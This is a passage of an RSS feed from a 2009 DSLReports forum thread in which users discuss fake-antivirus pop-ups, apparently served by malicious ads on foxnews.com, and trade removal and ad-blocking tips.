<description><![CDATA[<A HREF="/useremail/u/308792"><b>Surfinusa</b></A> : <div class="bquote"><small>said by  moonpuppy <A HREF="/useremail/u/189562"><IMG SRC="http://i.dslr.net/bb/profile.gif" ALT="See Profile" BORDER=0 WIDTH=16 HEIGHT=11></A> :</small><br><br>Went on there to get info on the somali pirate situation and both under firefox and IE, it looks like the vundo trojan tried to install on my laptop.<br><br>Anyone want to verify this?<br> </div>LOL! what does anyone have against FOX News ???  :D]]></description>
<guid isPermaLink="true">http://www.dslreports.com/forum/remark,22226273</guid>
<pubDate>Sun, 12 Apr 2009 21:47:20 EDT</pubDate>
</item>

<item>
<title>Re: foxnews.com infected?</title>
<link>http://www.dslreports.com/forum/remark,22226135</link>
<description><![CDATA[<A HREF="/useremail/u/189562"><b>moonpuppy</b></A> : Malwarebytes already got it.  :D]]></description>
<guid isPermaLink="true">http://www.dslreports.com/forum/remark,22226135</guid>
<pubDate>Sun, 12 Apr 2009 21:15:50 EDT</pubDate>
</item>

<item>
<title>Re: foxnews.com infected?</title>
<link>http://www.dslreports.com/forum/remark,22225926</link>
<description><![CDATA[<A HREF="/useremail/u/1525403"><b>Smith6612</b></A> : Might be coming from the ads. I've found that much of the crap anti-virus programs flag now a days are coming from ads (typically JavaScript files or small Java files). Adblock Plus does wonders keeping that stuff out.<br><small>--<br>It's all fun and games in a Team Fortress 2 battle until your sentry gun is sapped by the Spycrab!</small>]]></description>
<guid isPermaLink="true">http://www.dslreports.com/forum/remark,22225926</guid>
<pubDate>Sun, 12 Apr 2009 20:24:11 EDT</pubDate>
</item>

<item>
<title>Re: foxnews.com infected?</title>
<link>http://www.dslreports.com/forum/remark,22225666</link>
<description><![CDATA[<A HREF="/useremail/u/703015"><b>siljaline</b></A> : <div class="bquote"><small>said by  moonpuppy <A HREF="/useremail/u/189562"><IMG SRC="http://i.dslr.net/bb/profile.gif" ALT="See Profile" BORDER=0 WIDTH=16 HEIGHT=11></A> :</small><br><br>Malwarebytes found 5 instances if this:<br><br>Rogue.VirusSweeper<br> </div> &raquo;<A HREF="http://www.bleepingcomputer.com/virus-removal/remove-virus-sweeper" >www.bleepingcomputer.com/virus-r&middot;&middot;&middot;-sweeper</A><br><small>--<br>siljaline <br><br>shrink-wrapped, batteries-included, no-money-down</small>]]></description>
<guid isPermaLink="true">http://www.dslreports.com/forum/remark,22225666</guid>
<pubDate>Sun, 12 Apr 2009 19:16:47 EDT</pubDate>
</item>

<item>
<title>Re: foxnews.com infected?</title>
<link>http://www.dslreports.com/forum/remark,22225652</link>
<description><![CDATA[<A HREF="/useremail/u/189562"><b>moonpuppy</b></A> : Malwarebytes found 5 instances if this:<br><br>Rogue.VirusSweeper]]></description>
<guid isPermaLink="true">http://www.dslreports.com/forum/remark,22225652</guid>
<pubDate>Sun, 12 Apr 2009 19:11:35 EDT</pubDate>
</item>

<item>
<title>Re: foxnews.com infected?</title>
<link>http://www.dslreports.com/forum/remark,22225501</link>
<description><![CDATA[<A HREF="/useremail/u/703015"><b>siljaline</b></A> : Layered protection is the way to go  :)]]></description>
<guid isPermaLink="true">http://www.dslreports.com/forum/remark,22225501</guid>
<pubDate>Sun, 12 Apr 2009 18:32:50 EDT</pubDate>
</item>

<item>
<title>Re: foxnews.com infected?</title>
<link>http://www.dslreports.com/forum/remark,22225486</link>
<description><![CDATA[<A HREF="/useremail/u/1531837"><b>Its a Secret</b></A> : Yea, HPGuru's here. Ya gotta like layers! :)]]></description>
<guid isPermaLink="true">http://www.dslreports.com/forum/remark,22225486</guid>
<pubDate>Sun, 12 Apr 2009 18:27:26 EDT</pubDate>
</item>

<item>
<title>Re: foxnews.com infected?</title>
<link>http://www.dslreports.com/forum/remark,22225471</link>
<description><![CDATA[<A HREF="/useremail/u/703015"><b>siljaline</b></A> : <div class="bquote"><small>said by  Its a Secret <A HREF="/useremail/u/1531837"><IMG SRC="http://i.dslr.net/bb/profile.gif" ALT="See Profile" BORDER=0 WIDTH=16 HEIGHT=11></A> :</small><br><br>I have AdBlock Plus, maybe that's why I didn't see it...<br> </div>I use the MVPS HOSTS file on IE8 shows a Blank where ads and/or,<b>malvertizing</b> is zapped-out. <br><small>--<br>siljaline <br><br>shrink-wrapped, batteries-included, no-money-down</small>]]></description>
<guid isPermaLink="true">http://www.dslreports.com/forum/remark,22225471</guid>
<pubDate>Sun, 12 Apr 2009 18:23:55 EDT</pubDate>
</item>

<item>
<title>Re: foxnews.com infected?</title>
<link>http://www.dslreports.com/forum/remark,22225453</link>
<description><![CDATA[<A HREF="/useremail/u/260016"><b>miketavares</b></A> : I had foxnews.com open and went to eat lunch, came back to a warning about fakeav software trying to be installed.  I am assuming since that was the only page open, that it did a refresh and one of the ads being served up on it is infected.<br><small>--<br>I need to put something unique here.... HMM can't think of anything....</small>]]></description>
<guid isPermaLink="true">http://www.dslreports.com/forum/remark,22225453</guid>
<pubDate>Sun, 12 Apr 2009 18:18:00 EDT</pubDate>
</item>

<item>
<title>Re: foxnews.com infected?</title>
<link>http://www.dslreports.com/forum/remark,22225449</link>
<description><![CDATA[<A HREF="/useremail/u/1531837"><b>Its a Secret</b></A> : I have AdBlock Plus, maybe that's why I didn't see it...]]></description>
<guid isPermaLink="true">http://www.dslreports.com/forum/remark,22225449</guid>
<pubDate>Sun, 12 Apr 2009 18:17:35 EDT</pubDate>
</item>

<item>
<title>Re: foxnews.com infected?</title>
<link>http://www.dslreports.com/forum/remark,22225439</link>
<description><![CDATA[<A HREF="/useremail/u/703015"><b>siljaline</b></A> : Nothing here, though there is a huge <b> malvertizing</b> ad mid-page. ]]></description>
<guid isPermaLink="true">http://www.dslreports.com/forum/remark,22225439</guid>
<pubDate>Sun, 12 Apr 2009 18:13:16 EDT</pubDate>
</item>

<item>
<title>Re: foxnews.com infected?</title>
<link>http://www.dslreports.com/forum/remark,22225432</link>
<description><![CDATA[<A HREF="/useremail/u/1531837"><b>Its a Secret</b></A> : Do you remember what link you went to first?]]></description>
<guid isPermaLink="true">http://www.dslreports.com/forum/remark,22225432</guid>
<pubDate>Sun, 12 Apr 2009 18:12:45 EDT</pubDate>
</item>

<item>
<title>Re: foxnews.com infected?</title>
<link>http://www.dslreports.com/forum/remark,22225423</link>
<description><![CDATA[<A HREF="/useremail/u/189562"><b>moonpuppy</b></A> : Not really. I was clicking around looking for info about the somali pirates being killed and the familiar antivirus 2009 screen came up telling me I am severely infected. I managed to shut down most of the popups but I am doing a scan now since this is my backup laptop that has no AV software on it.]]></description>
<guid isPermaLink="true">http://www.dslreports.com/forum/remark,22225423</guid>
<pubDate>Sun, 12 Apr 2009 18:09:32 EDT</pubDate>
</item>

<item>
<title>Re: foxnews.com infected?</title>
<link>http://www.dslreports.com/forum/remark,22225397</link>
<description><![CDATA[<A HREF="/useremail/u/0"><b>anon</b></A> : Yesterday, I got a random warning from Firefox advising something was up with the page. I got the re-direct with the red hand, but I already forgot what it stated was the issue. However, I've yet to get it since.]]></description>
<guid isPermaLink="true">http://www.dslreports.com/forum/remark,22225397</guid>
<pubDate>Sun, 12 Apr 2009 18:01:52 EDT</pubDate>
</item>

<item>
<title>Re: foxnews.com infected?</title>
<link>http://www.dslreports.com/forum/remark,22225375</link>
<description><![CDATA[<A HREF="/useremail/u/1531837"><b>Its a Secret</b></A> : I saw nothing in FF, and no warnings from Avast! or NoScript. Have a link?]]></description>
<guid isPermaLink="true">http://www.dslreports.com/forum/remark,22225375</guid>
<pubDate>Sun, 12 Apr 2009 17:57:29 EDT</pubDate>
</item>

<item>
<title>foxnews.com infected?</title>
<link>http://www.dslreports.com/forum/remark,22225362</link>
<description><![CDATA[<A HREF="/useremail/u/189562"><b>moonpuppy</b></A> : Went on there to get info on the somali pirate situation and both under firefox and IE, it looks like the vundo trojan tried to install on my laptop.<br><br>Anyone want to verify this?]]></description>
<guid isPermaLink="true">http://www.dslreports.com/forum/remark,22225362</guid>
<pubDate>Sun, 12 Apr 2009 17:53:48 EDT</pubDate>
</item>

</channel>
</rss>
